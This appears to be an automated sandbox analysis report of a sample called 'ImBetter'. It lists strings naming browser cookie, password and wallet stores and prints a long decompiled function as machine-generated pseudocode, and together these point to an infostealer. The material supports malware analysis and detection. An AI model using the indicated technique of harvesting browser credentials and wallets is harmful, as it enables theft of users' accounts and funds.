SleipPw, xrefs: 00007FF7E6B07526
cookie: , xrefs: 00007FF7E6B05FAD, 00007FF7E6B06075, 00007FF7E6B0613D, 00007FF7E6B06205, 00007FF7E6B062CD, 00007FF7E6B06395, 00007FF7E6B0645D, 00007FF7E6B06525, 00007FF7E6B065ED, 00007FF7E6B066B5, 00007FF7E6B0677D, 00007FF7E6B06845, 00007FF7E6B0690D, 00007FF7E6B069D5, 00007FF7E6B06A9D, 00007FF7E6B06B65, 00007FF7E6B06C2D, 00007FF7E6B06CF5

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Concurrency::cancel_current_task
String ID: AWBCookies$AWBPw $BaiduCookies$BaiduPw$BlackCookies$BlackPw$BraveCookies$BravePw$CentCookies$CentPw$ChromeCookies$ChromePw$ComodoCookies$ComodoPw$CoolCookies$CoolPw$EdgeCookies$EdgePw$EpicCookies$EpicPw$GoCookies$GoPw$Local Extension Settings$OperaCookies$OperaPw$RockCookies$RockPw$SRWCookies$SRWPw$SleipCookies$SleipPw$TitanCookies$TitanPw$TorchCookies$TorchPw$VivaCookies$VivaPw$Wait in main$Wallets: $cookie: $password:
API String ID: 3936042273-2759322852
Opcode ID: f659e5fd0e973d630c9d65955f4e636292af3f12cb6377747dcb24c17630cbb0
Instruction ID: b814218d2359e6d0c80eba07e7fa1734288b693f16c9777107531960e5699e69
Opcode Fuzzy Hash: f659e5fd0e973d630c9d65955f4e636292af3f12cb6377747dcb24c17630cbb0
Instruction Fuzzy Hash: 41E23A61A38646D4FA50FB65DC517EEB725AF40388FE04133E91D476AAEF38E509C322

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B16D0E Relevance: 63.8, APIs: 31, Strings: 5, Instructions: 837
COMMON

Download Yara Rule

C-Code - Quality: 57%

			E00007FF77FF7E6B16D0E(void* __ebx, void* __ecx, short __edi, void* __ebp, void* __esp, void* __rax, void* __rbx, void* __rcx, void* __rdx, long long __rdi, void* __rbp, void* __r9, long long _a40, intOrPtr _a64, intOrPtr _a72, short _a80, signed long long _a104, short _a112, signed long long _a136, long long _a144, long long _a152, short _a160, signed long long _a184, short _a192, short _a224, signed long long _a248, short _a256, signed long long _a280, short _a288, signed long long _a312, short _a320, signed long long _a344, short _a352, signed long long _a376, char _a384, intOrPtr _a408, char _a416, long long _a432, long long _a440, intOrPtr* _a448, short _a456, signed long long _a480, short _a488, intOrPtr _a512, short _a520, signed long long _a544, short _a552, signed long long _a576, short _a584, signed long long _a608, short _a616, signed long long _a640, short _a648, signed long long _a672, short _a680, signed long long _a704, short _a712, signed long long _a736, short _a744, signed long long _a768, short _a776, signed long long _a800, short _a808, signed long long _a832, short _a840, signed long long _a864, short _a872, signed long long _a896, short _a904, signed long long _a928, short _a936, signed long long _a960, short _a968, signed long long _a992, short _a1000, signed long long _a1024, short _a1032, signed long long _a1056, short _a1064, signed long long _a1088, short _a1096, signed long long _a1120, short _a1128, signed long long _a1152, char _a1160, char _a1192, char _a1208, char _a1240, char _a1272, char _a1304, char _a2536, char _a2544, char _a2560, void* _a2592, char _a2608, char _a2624, char _a2784, char _a2880, char _a2896, intOrPtr _a2904, char _a2968, signed int _a2992, void* _a3008) {
				void* _t357;
				signed int _t368;
				void* _t384;
				void* _t393;
				intOrPtr* _t619;
				intOrPtr* _t621;
				intOrPtr* _t622;
				long long _t623;
				intOrPtr* _t635;
				long long _t646;
				long long _t651;
				intOrPtr* _t727;
				intOrPtr* _t730;
				long long _t736;
				intOrPtr* _t746;
				intOrPtr _t749;
				long long _t760;
				signed long long _t770;
				signed long long _t773;
				signed long long _t776;
				signed long long _t779;
				signed long long _t782;
				signed long long _t785;
				signed long long _t788;
				signed long long _t791;
				signed long long _t794;
				signed long long _t797;
				signed long long _t800;
				signed long long _t803;
				signed long long _t806;
				signed long long _t809;
				signed long long _t812;
				signed long long _t815;
				signed long long _t818;
				signed long long _t821;
				signed long long _t824;
				signed long long _t827;
				signed long long _t830;
				signed long long _t833;
				signed long long _t836;
				signed long long _t839;
				signed long long _t842;
				signed long long _t845;
				signed long long _t848;
				signed long long _t851;
				signed long long _t854;
				signed long long _t861;
				long long _t867;
				intOrPtr _t870;
				intOrPtr* _t875;
				intOrPtr _t877;
				long long _t878;
				signed long long _t887;
				long long* _t897;
				void* _t900;
				void* _t901;
				intOrPtr* _t908;

				_t886 = __rbp;
				_t878 = __rdi;
				_t391 = __ecx;
				if (__rax -  *((intOrPtr*)(__rcx - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b17e5d;
				E00007FF77FF7E6B3CAF0(_t393,  *((intOrPtr*)(__rcx - 8)));
				asm("movdqa xmm0, [0x4a7fc]");
				asm("movdqu [esp+0xd0], xmm0");
				_a192 = __edi;
				_t770 = _a544;
				if (_t770 - 8 < 0) goto 0xe6b16d8d;
				if (2 + _t770 * 2 - 0x1000 < 0) goto 0xe6b16d88;
				if (_a520 -  *((intOrPtr*)(_a520 - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b17e63;
				E00007FF77FF7E6B3CAF0(_t393,  *((intOrPtr*)(_a520 - 8)));
				asm("movdqa xmm0, [0x4a79b]");
				asm("movdqu [esp+0x218], xmm0");
				_a520 = __edi;
				asm("inc ecx");
				_t773 = _a248;
				if (_t773 - 8 < 0) goto 0xe6b16df3;
				if (2 + _t773 * 2 - 0x1000 < 0) goto 0xe6b16dee;
				if (_a224 -  *((intOrPtr*)(_a224 - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b17e69;
				E00007FF77FF7E6B3CAF0(_t393,  *((intOrPtr*)(_a224 - 8)));
				asm("movdqa xmm0, [0x4a735]");
				asm("movdqu [esp+0xf0], xmm0");
				_a224 = __edi;
				_t776 = _a576;
				if (_t776 - 8 < 0) goto 0xe6b16e54;
				if (2 + _t776 * 2 - 0x1000 < 0) goto 0xe6b16e4f;
				if (_a552 -  *((intOrPtr*)(_a552 - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b17e6f;
				E00007FF77FF7E6B3CAF0(_t393,  *((intOrPtr*)(_a552 - 8)));
				asm("movdqa xmm0, [0x4a6d4]");
				asm("movdqu [esp+0x238], xmm0");
				_a552 = __edi;
				asm("inc ecx");
				_t779 = _a280;
				if (_t779 - 8 < 0) goto 0xe6b16eba;
				if (2 + _t779 * 2 - 0x1000 < 0) goto 0xe6b16eb5;
				if (_a256 -  *((intOrPtr*)(_a256 - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b17e75;
				E00007FF77FF7E6B3CAF0(_t393,  *((intOrPtr*)(_a256 - 8)));
				asm("movdqa xmm0, [0x4a66e]");
				asm("movdqu [esp+0x110], xmm0");
				_a256 = __edi;
				E00007FF77FF7E6B01CD0( &_a1160);
				asm("inc ecx");
				_t782 = _a312;
				if (_t782 - 8 < 0) goto 0xe6b16f2d;
				if (2 + _t782 * 2 - 0x1000 < 0) goto 0xe6b16f28;
				if (_a288 -  *((intOrPtr*)(_a288 - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b17e7b;
				E00007FF77FF7E6B3CAF0(_t393,  *((intOrPtr*)(_a288 - 8)));
				asm("movdqa xmm0, [0x4a5fb]");
				asm("movdqu [esp+0x130], xmm0");
				_a288 = __edi;
				_t785 = _a608;
				if (_t785 - 8 < 0) goto 0xe6b16f8e;
				if (2 + _t785 * 2 - 0x1000 < 0) goto 0xe6b16f89;
				if (_a584 -  *((intOrPtr*)(_a584 - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b17e81;
				E00007FF77FF7E6B3CAF0(_t393,  *((intOrPtr*)(_a584 - 8)));
				asm("movdqa xmm0, [0x4a59a]");
				asm("movdqu [esp+0x258], xmm0");
				_a584 = __edi;
				asm("inc ecx");
				_t788 = _a344;
				if (_t788 - 8 < 0) goto 0xe6b16ff4;
				if (2 + _t788 * 2 - 0x1000 < 0) goto 0xe6b16fef;
				if (_a320 -  *((intOrPtr*)(_a320 - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b17e87;
				E00007FF77FF7E6B3CAF0(_t393,  *((intOrPtr*)(_a320 - 8)));
				asm("movdqa xmm0, [0x4a534]");
				asm("movdqu [esp+0x150], xmm0");
				_a320 = __edi;
				_t791 = _a640;
				if (_t791 - 8 < 0) goto 0xe6b17055;
				if (2 + _t791 * 2 - 0x1000 < 0) goto 0xe6b17050;
				if (_a616 -  *((intOrPtr*)(_a616 - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b17e8d;
				E00007FF77FF7E6B3CAF0(_t393,  *((intOrPtr*)(_a616 - 8)));
				asm("movdqa xmm0, [0x4a4d3]");
				asm("movdqu [esp+0x278], xmm0");
				_a616 = __edi;
				asm("inc ecx");
				_t794 = _a184;
				if (_t794 - 8 < 0) goto 0xe6b170bb;
				if (2 + _t794 * 2 - 0x1000 < 0) goto 0xe6b170b6;
				if (_a160 -  *((intOrPtr*)(_a160 - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b17e93;
				E00007FF77FF7E6B3CAF0(_t393,  *((intOrPtr*)(_a160 - 8)));
				asm("movdqa xmm0, [0x4a46d]");
				asm("movdqu [esp+0xb0], xmm0");
				_a160 = __edi;
				_t797 = _a672;
				if (_t797 - 8 < 0) goto 0xe6b1711c;
				if (2 + _t797 * 2 - 0x1000 < 0) goto 0xe6b17117;
				if (_a648 -  *((intOrPtr*)(_a648 - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b17e99;
				E00007FF77FF7E6B3CAF0(_t393,  *((intOrPtr*)(_a648 - 8)));
				asm("movdqa xmm0, [0x4a40c]");
				asm("movdqu [esp+0x298], xmm0");
				_a648 = __edi;
				asm("inc ecx");
				_t800 = _a376;
				if (_t800 - 8 < 0) goto 0xe6b17182;
				if (2 + _t800 * 2 - 0x1000 < 0) goto 0xe6b1717d;
				if (_a352 -  *((intOrPtr*)(_a352 - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b17e9f;
				E00007FF77FF7E6B3CAF0(_t393,  *((intOrPtr*)(_a352 - 8)));
				asm("movdqa xmm0, [0x4a3a6]");
				asm("movdqu [esp+0x170], xmm0");
				_a352 = __edi;
				_t803 = _a704;
				if (_t803 - 8 < 0) goto 0xe6b171e3;
				if (2 + _t803 * 2 - 0x1000 < 0) goto 0xe6b171de;
				if (_a680 -  *((intOrPtr*)(_a680 - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b17ea5;
				E00007FF77FF7E6B3CAF0(_t393,  *((intOrPtr*)(_a680 - 8)));
				asm("movdqa xmm0, [0x4a345]");
				asm("movdqu [esp+0x2b8], xmm0");
				_a680 = __edi;
				r14d = r14d & 0xffffffbf;
				_t806 = _a104;
				if (_t806 - 8 < 0) goto 0xe6b17242;
				if (2 + _t806 * 2 - 0x1000 < 0) goto 0xe6b1723d;
				if (_a80 -  *((intOrPtr*)(_a80 - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b17eab;
				E00007FF77FF7E6B3CAF0(_t393,  *((intOrPtr*)(_a80 - 8)));
				asm("movdqa xmm0, [0x4a2e6]");
				asm("movdqu [esp+0x60], xmm0");
				_a80 = __edi;
				_t809 = _a736;
				if (_t809 - 8 < 0) goto 0xe6b1729d;
				if (2 + _t809 * 2 - 0x1000 < 0) goto 0xe6b17298;
				if (_a712 -  *((intOrPtr*)(_a712 - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b17eb1;
				E00007FF77FF7E6B3CAF0(_t393,  *((intOrPtr*)(_a712 - 8)));
				asm("movdqa xmm0, [0x4a28b]");
				asm("movdqu [esp+0x2d8], xmm0");
				_a712 = __edi;
				r14d = r14d & 0xffffffef;
				_t812 = _a136;
				if (_t812 - 8 < 0) goto 0xe6b172ff;
				if (2 + _t812 * 2 - 0x1000 < 0) goto 0xe6b172fa;
				if (_a112 -  *((intOrPtr*)(_a112 - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b17eb7;
				E00007FF77FF7E6B3CAF0(_t393,  *((intOrPtr*)(_a112 - 8)));
				asm("movdqa xmm0, [0x4a229]");
				asm("movdqu [esp+0x80], xmm0");
				_a112 = __edi;
				_t815 = _a480;
				if (_t815 - 8 < 0) goto 0xe6b1735d;
				if (2 + _t815 * 2 - 0x1000 < 0) goto 0xe6b17358;
				if (_a456 -  *((intOrPtr*)(_a456 - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b17ebd;
				E00007FF77FF7E6B3CAF0(_t393,  *((intOrPtr*)(_a456 - 8)));
				asm("movdqa xmm0, [0x4a1cb]");
				asm("movdqu [esp+0x1d8], xmm0");
				_a456 = __edi;
				_t818 = _a960;
				if (_t818 - 8 < 0) goto 0xe6b173be;
				if (2 + _t818 * 2 - 0x1000 < 0) goto 0xe6b173b9;
				if (_a936 -  *((intOrPtr*)(_a936 - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b17ec3;
				E00007FF77FF7E6B3CAF0(_t393,  *((intOrPtr*)(_a936 - 8)));
				asm("movdqa xmm0, [0x4a16a]");
				asm("movdqu [esp+0x3b8], xmm0");
				_a936 = __edi;
				_t821 = _a768;
				if (_t821 - 8 < 0) goto 0xe6b1741f;
				if (2 + _t821 * 2 - 0x1000 < 0) goto 0xe6b1741a;
				if (_a744 -  *((intOrPtr*)(_a744 - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b17ec9;
				E00007FF77FF7E6B3CAF0(_t393,  *((intOrPtr*)(_a744 - 8)));
				asm("movdqa xmm0, [0x4a109]");
				asm("movdqu [esp+0x2f8], xmm0");
				_a744 = __edi;
				_t824 = _a992;
				if (_t824 - 8 < 0) goto 0xe6b17480;
				if (2 + _t824 * 2 - 0x1000 < 0) goto 0xe6b1747b;
				if (_a968 -  *((intOrPtr*)(_a968 - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b17ecf;
				E00007FF77FF7E6B3CAF0(_t393,  *((intOrPtr*)(_a968 - 8)));
				asm("movdqa xmm0, [0x4a0a8]");
				asm("movdqu [esp+0x3d8], xmm0");
				_a968 = __edi;
				_t827 = _a800;
				if (_t827 - 8 < 0) goto 0xe6b174e1;
				if (2 + _t827 * 2 - 0x1000 < 0) goto 0xe6b174dc;
				if (_a776 -  *((intOrPtr*)(_a776 - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b17ed5;
				E00007FF77FF7E6B3CAF0(_t393,  *((intOrPtr*)(_a776 - 8)));
				asm("movdqa xmm0, [0x4a047]");
				asm("movdqu [esp+0x318], xmm0");
				_a776 = __edi;
				_t830 = _a1024;
				if (_t830 - 8 < 0) goto 0xe6b17542;
				if (2 + _t830 * 2 - 0x1000 < 0) goto 0xe6b1753d;
				if (_a1000 -  *((intOrPtr*)(_a1000 - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b17edb;
				E00007FF77FF7E6B3CAF0(_t393,  *((intOrPtr*)(_a1000 - 8)));
				asm("movdqa xmm0, [0x49fe6]");
				asm("movdqu [esp+0x3f8], xmm0");
				_a1000 = __edi;
				_t833 = _a832;
				if (_t833 - 8 < 0) goto 0xe6b175a3;
				if (2 + _t833 * 2 - 0x1000 < 0) goto 0xe6b1759e;
				if (_a808 -  *((intOrPtr*)(_a808 - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b17ee1;
				E00007FF77FF7E6B3CAF0(_t393,  *((intOrPtr*)(_a808 - 8)));
				asm("movdqa xmm0, [0x49f85]");
				asm("movdqu [esp+0x338], xmm0");
				_a808 = __edi;
				_t836 = _a1056;
				if (_t836 - 8 < 0) goto 0xe6b17604;
				if (2 + _t836 * 2 - 0x1000 < 0) goto 0xe6b175ff;
				if (_a1032 -  *((intOrPtr*)(_a1032 - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b17ee7;
				E00007FF77FF7E6B3CAF0(_t393,  *((intOrPtr*)(_a1032 - 8)));
				asm("movdqa xmm0, [0x49f24]");
				asm("movdqu [esp+0x418], xmm0");
				_a1032 = __edi;
				_t839 = _a864;
				if (_t839 - 8 < 0) goto 0xe6b17665;
				if (2 + _t839 * 2 - 0x1000 < 0) goto 0xe6b17660;
				if (_a840 -  *((intOrPtr*)(_a840 - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b17eed;
				E00007FF77FF7E6B3CAF0(_t393,  *((intOrPtr*)(_a840 - 8)));
				asm("movdqa xmm0, [0x49ec3]");
				asm("movdqu [esp+0x358], xmm0");
				_a840 = __edi;
				_t842 = _a1088;
				if (_t842 - 8 < 0) goto 0xe6b176c6;
				if (2 + _t842 * 2 - 0x1000 < 0) goto 0xe6b176c1;
				if (_a1064 -  *((intOrPtr*)(_a1064 - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b17ef3;
				E00007FF77FF7E6B3CAF0(_t393,  *((intOrPtr*)(_a1064 - 8)));
				asm("movdqa xmm0, [0x49e62]");
				asm("movdqu [esp+0x438], xmm0");
				_a1064 = __edi;
				_t845 = _a896;
				if (_t845 - 8 < 0) goto 0xe6b17727;
				if (2 + _t845 * 2 - 0x1000 < 0) goto 0xe6b17722;
				if (_a872 -  *((intOrPtr*)(_a872 - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b17ef9;
				E00007FF77FF7E6B3CAF0(_t393,  *((intOrPtr*)(_a872 - 8)));
				asm("movdqa xmm0, [0x49e01]");
				asm("movdqu [esp+0x378], xmm0");
				_a872 = __edi;
				_t848 = _a1120;
				if (_t848 - 8 < 0) goto 0xe6b17788;
				if (2 + _t848 * 2 - 0x1000 < 0) goto 0xe6b17783;
				if (_a1096 -  *((intOrPtr*)(_a1096 - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b17eff;
				E00007FF77FF7E6B3CAF0(_t393,  *((intOrPtr*)(_a1096 - 8)));
				asm("movdqa xmm0, [0x49da0]");
				asm("movdqu [esp+0x458], xmm0");
				_a1096 = __edi;
				_t851 = _a928;
				if (_t851 - 8 < 0) goto 0xe6b177e9;
				if (2 + _t851 * 2 - 0x1000 < 0) goto 0xe6b177e4;
				if (_a904 -  *((intOrPtr*)(_a904 - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b17f05;
				E00007FF77FF7E6B3CAF0(_t393,  *((intOrPtr*)(_a904 - 8)));
				asm("movdqa xmm0, [0x49d3f]");
				asm("movdqu [esp+0x398], xmm0");
				_a904 = __edi;
				_t854 = _a1152;
				if (_t854 - 8 < 0) goto 0xe6b1784a;
				if (2 + _t854 * 2 - 0x1000 < 0) goto 0xe6b17845;
				if (_a1128 -  *((intOrPtr*)(_a1128 - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b17f0b;
				E00007FF77FF7E6B3CAF0(_t393,  *((intOrPtr*)(_a1128 - 8)));
				asm("movdqa xmm0, [0x49cde]");
				asm("movdqu [esp+0x478], xmm0");
				_a1128 = __edi;
				if (_a512 - 8 < 0) goto 0xe6b17889;
				E00007FF77FF7E6B02AB0(__ebx, __ecx, __edi, __esp, __rbx, _a488, __rbp, _a512 + 1);
				asm("movdqa xmm0, [0x49c9f]");
				asm("movdqu [esp+0x1f8], xmm0");
				_a488 = __edi;
				E00007FF77FF7E6B01CD0( &_a1272);
				E00007FF77FF7E6B01CD0( &_a1208);
				E00007FF77FF7E6B01CD0( &_a1304);
				_t357 = E00007FF77FF7E6B01CD0( &_a1240);
				_t651 =  *_a2544;
				_a2536 = _t651;
				E00007FF77FF7E6B17F90(_t357);
				E00007FF77FF7E6B1C850(_a1128 -  *((intOrPtr*)(_a1128 - 8)) + 0xfffffff8,  &_a2880);
				if (_t651 == _a2544) goto 0xe6b17d43;
				r8d = 0x110;
				E00007FF77FF7E6B3EA30();
				if ( *((long long*)(_t651 + 0x58)) - 8 < 0) goto 0xe6b17951;
				E00007FF77FF7E6B1D870(__ebx, _t391,  *((long long*)(_t651 + 0x58)) - 8, _t651,  &_a2608,  *((intOrPtr*)(_t651 + 0x40)), _t901); // executed
				 *((long long*)(_t887 +  *((intOrPtr*)(_a2608 + 4)) + 0xa30)) = 0xe6b61128;
				 *((intOrPtr*)(_t887 +  *((intOrPtr*)(_a2608 + 4)) + 0xa2c)) =  *((intOrPtr*)(_a2608 + 4)) - 0xb0;
				_t727 =  *((intOrPtr*)( *((intOrPtr*)(_t887 +  *((intOrPtr*)(_a2608 + 4)) + 0xa70)) + 8));
				_a152 = _t727;
				_t619 =  *_t727;
				 *((intOrPtr*)(_t619 + 8))();
				E00007FF77FF7E6B09D40(_t651,  &_a144, _t886);
				 *((intOrPtr*)( *_t619 + 0x40))();
				_t730 = _a152;
				if (_t730 == 0) goto 0xe6b179f7;
				_t621 =  *_t730;
				 *((intOrPtr*)(_t621 + 0x10))();
				if (_t621 == 0) goto 0xe6b179f7;
				_t622 =  *_t621;
				 *_t622();
				r8d = sil & 0xffffffff;
				0xe6b1db50(); // executed
				_t623 =  *_t622;
				if (( *( *((intOrPtr*)(_t623 + 4)) + _t622 + 0x10) & 0x00000006) != 0) goto 0xe6b17c45;
				asm("xorps xmm0, xmm0");
				asm("movups [esp+0xa00], xmm0");
				asm("movups [esp+0xa10], xmm0");
				_a2592 = _t623;
				E00007FF77FF7E6B1C580(_t651,  &_a2560, __rdi, 0xe6b61128); // executed
				_t736 =  >=  ?  *0xe6b6bcb0 : 0xe6b6bcb0;
				if ( *((char*)(_t736 + 0xffffffff)) != 0) goto 0xe6b17a62;
				_t861 = 0 + _t736;
				_a40 = _t736;
				_t368 = E00007FF77FF7E6B1DDD0(_t736, _t861,  &_a2880,  &_a2560);
				if ((_t861 >> 2) + (_t861 >> 2 >> 0x3f) - 2 > 0) goto 0xe6b17ac1;
				goto 0xe6b17ac5;
				E00007FF77FF7E6B02900(_t861 >> 2 >> 0x3f, _t651,  &_a384, _t651 + 0x20);
				if ( *((char*)( &_a2968 + 0x40)) == 0) goto 0xe6b17ae7;
				asm("movups xmm0, [esi]");
				asm("movups [esp+0x40], xmm0");
				goto 0xe6b17af0;
				asm("xorps xmm0, xmm0");
				asm("movdqu [esp+0x40], xmm0");
				asm("xorps xmm0, xmm0");
				asm("movups [esp+0x1a0], xmm0");
				_a432 = _t878;
				_a440 = _t878;
				if (_a64 != _a72) goto 0xe6b17b38;
				_a432 = _t878;
				_a440 = 0xf;
				_a416 = 0;
				goto 0xe6b17b48;
				E00007FF77FF7E6B02FD0(_t651,  &_a416, _a64, _a72 - _a64);
				r14d = r14d | 0x00000006;
				E00007FF77FF7E6B1DFE0(_t651,  &_a1192,  &_a384,  &_a2560, _t900);
				_t867 = _a440;
				if (_t867 - 0x10 < 0) goto 0xe6b17ba5;
				if (_t867 + 1 - 0x1000 < 0) goto 0xe6b17ba0;
				if (_a416 -  *((intOrPtr*)(_a416 - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b17f11;
				E00007FF77FF7E6B3CAF0(_t368 * (_a2904 - _a2896) >> 0x20,  *((intOrPtr*)(_a416 - 8)));
				_a432 = _t878;
				_a440 = 0xf;
				_a416 = 0;
				_t870 = _a408;
				if (_t870 - 0x10 < 0) goto 0xe6b17c05;
				if (_t870 + 1 - 0x1000 < 0) goto 0xe6b17bff;
				if (_a384 -  *((intOrPtr*)(_a384 - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b17f11;
				E00007FF77FF7E6B3CAF0(_t368 * (_a2904 - _a2896) >> 0x20,  *((intOrPtr*)(_a384 - 8)));
				E00007FF77FF7E6B1D1B0(_t651,  &_a2560, _t878);
				_t746 = _a2592;
				if (_t746 == 0) goto 0xe6b17990;
				_t635 =  *_t746;
				 *((intOrPtr*)(_t635 + 0x10))();
				if (_t635 == 0) goto 0xe6b17990;
				 *((intOrPtr*)( *_t635))();
				goto 0xe6b17990;
				E00007FF77FF7E6B0F930(_t391, 1, _t651,  &_a2624, _t886);
				if (_t635 != 0) goto 0xe6b17c99;
				_t749 =  *((intOrPtr*)(_a2608 + 4));
				_t518 =  *((long long*)(_t887 + _t749 + 0xa78));
				_t380 =  !=  ? 2 : 6;
				_t381 = ( !=  ? 2 : 6) |  *(_t887 + _t749 + 0xa40);
				_t382 = (( !=  ? 2 : 6) |  *(_t887 + _t749 + 0xa40)) & 0x00000017;
				 *(_t887 + _t749 + 0xa40) = 6;
				if ( *((long long*)(_t887 + _t749 + 0xa78)) != 0) goto 0xe6b17f17;
				E00007FF77FF7E6B14900((( !=  ? 2 : 6) |  *(_t887 + _t749 + 0xa40)) & 0x00000017,  &_a2536);
				 *((long long*)(_t887 +  *((intOrPtr*)(_a2608 + 4)) + 0xa30)) = 0xe6b61128;
				 *((intOrPtr*)(_t887 +  *((intOrPtr*)(_a2608 + 4)) + 0xa2c)) =  *((intOrPtr*)(_a2608 + 4)) - 0xb0;
				0xe6b0d970();
				 *((long long*)(_t887 +  *((intOrPtr*)(_a2608 + 4)) + 0xa30)) = 0xe6b5e598;
				 *((intOrPtr*)(_t887 +  *((intOrPtr*)(_a2608 + 4)) + 0xa2c)) =  *((intOrPtr*)(_a2608 + 4)) - 0x18;
				_a2784 = 0xe6b5a478;
				_t384 = E00007FF77FF7E6B446F0( &_a2784);
				_t652 = _a2536;
				goto 0xe6b17920;
				E00007FF77FF7E6B1C890(_t384, _a2536,  &_a2896);
				_t908 = _a448;
				 *_t908 = _t878;
				 *((long long*)(_t908 + 8)) = _t878;
				_a144 = _t908;
				_a152 = _t908;
				E00007FF77FF7E6B3CAAC(_t518, 0xe6b5a478,  &_a2896);
				 *0xe6b5a478 = 0xe6b5a478;
				 *0x7FF7E6B5A480 = 0xe6b5a478;
				 *0x7FF7E6B5A488 = 0xe6b5a478;
				 *0x7FF7E6B5A490 = 0x101;
				 *_t908 = 0xe6b5a478;
				E00007FF77FF7E6B1F110(0xe6b5a478, _t652, _t908,  *((intOrPtr*)( *0xe6b6e088 + 8)), 0xe6b61128, 0xe6b5a478);
				 *((long long*)( *_t908 + 8)) = 0xe6b5a478;
				 *((long long*)(_t908 + 8)) =  *0xe6b6e090;
				_t897 =  *_t908;
				_t875 =  *((intOrPtr*)(_t897 + 8));
				if ( *((char*)(_t875 + 0x19)) != 0) goto 0xe6b17e16;
				_t760 =  *_t875;
				if ( *((char*)(_t760 + 0x19)) != 0) goto 0xe6b17def;
				asm("o16 nop [eax+eax]");
				if ( *((char*)( *_t760 + 0x19)) == 0) goto 0xe6b17de0;
				 *_t897 = _t760;
				_t877 =  *_t908;
				_t646 =  *((intOrPtr*)( *((intOrPtr*)(_t877 + 8)) + 0x10));
				if ( *((char*)(_t646 + 0x19)) != 0) goto 0xe6b17e10;
				if ( *((char*)( *((intOrPtr*)(_t646 + 0x10)) + 0x19)) == 0) goto 0xe6b17e03;
				 *((long long*)(_t877 + 0x10)) = _t646;
				goto 0xe6b17e20;
				 *_t897 = _t897;
				 *((long long*)( *_t908 + 0x10)) =  *_t908;
				return E00007FF77FF7E6B3C7F0(E00007FF77FF7E6B09AB0(_t652,  &_a2544, _t878), 0x60, _a2992 ^ _t887);
			}

0x7ff7e6b16d0e
0x7ff7e6b16d0e
0x7ff7e6b16d0e
0x7ff7e6b16d21
0x7ff7e6b16d27
0x7ff7e6b16d2c
0x7ff7e6b16d34
0x7ff7e6b16d3d
0x7ff7e6b16d45
0x7ff7e6b16d51
0x7ff7e6b16d6d
0x7ff7e6b16d82
0x7ff7e6b16d88
0x7ff7e6b16d8d
0x7ff7e6b16d95
0x7ff7e6b16d9e
0x7ff7e6b16da6
0x7ff7e6b16dab
0x7ff7e6b16db7
0x7ff7e6b16dd3
0x7ff7e6b16de8
0x7ff7e6b16dee
0x7ff7e6b16df3
0x7ff7e6b16dfb
0x7ff7e6b16e04
0x7ff7e6b16e0c
0x7ff7e6b16e18
0x7ff7e6b16e34
0x7ff7e6b16e49
0x7ff7e6b16e4f
0x7ff7e6b16e54
0x7ff7e6b16e5c
0x7ff7e6b16e65
0x7ff7e6b16e6d
0x7ff7e6b16e72
0x7ff7e6b16e7e
0x7ff7e6b16e9a
0x7ff7e6b16eaf
0x7ff7e6b16eb5
0x7ff7e6b16eba
0x7ff7e6b16ec2
0x7ff7e6b16ecb
0x7ff7e6b16edb
0x7ff7e6b16ee0
0x7ff7e6b16ee5
0x7ff7e6b16ef1
0x7ff7e6b16f0d
0x7ff7e6b16f22
0x7ff7e6b16f28
0x7ff7e6b16f2d
0x7ff7e6b16f35
0x7ff7e6b16f3e
0x7ff7e6b16f46
0x7ff7e6b16f52
0x7ff7e6b16f6e
0x7ff7e6b16f83
0x7ff7e6b16f89
0x7ff7e6b16f8e
0x7ff7e6b16f96
0x7ff7e6b16f9f
0x7ff7e6b16fa7
0x7ff7e6b16fac
0x7ff7e6b16fb8
0x7ff7e6b16fd4
0x7ff7e6b16fe9
0x7ff7e6b16fef
0x7ff7e6b16ff4
0x7ff7e6b16ffc
0x7ff7e6b17005
0x7ff7e6b1700d
0x7ff7e6b17019
0x7ff7e6b17035
0x7ff7e6b1704a
0x7ff7e6b17050
0x7ff7e6b17055
0x7ff7e6b1705d
0x7ff7e6b17066
0x7ff7e6b1706e
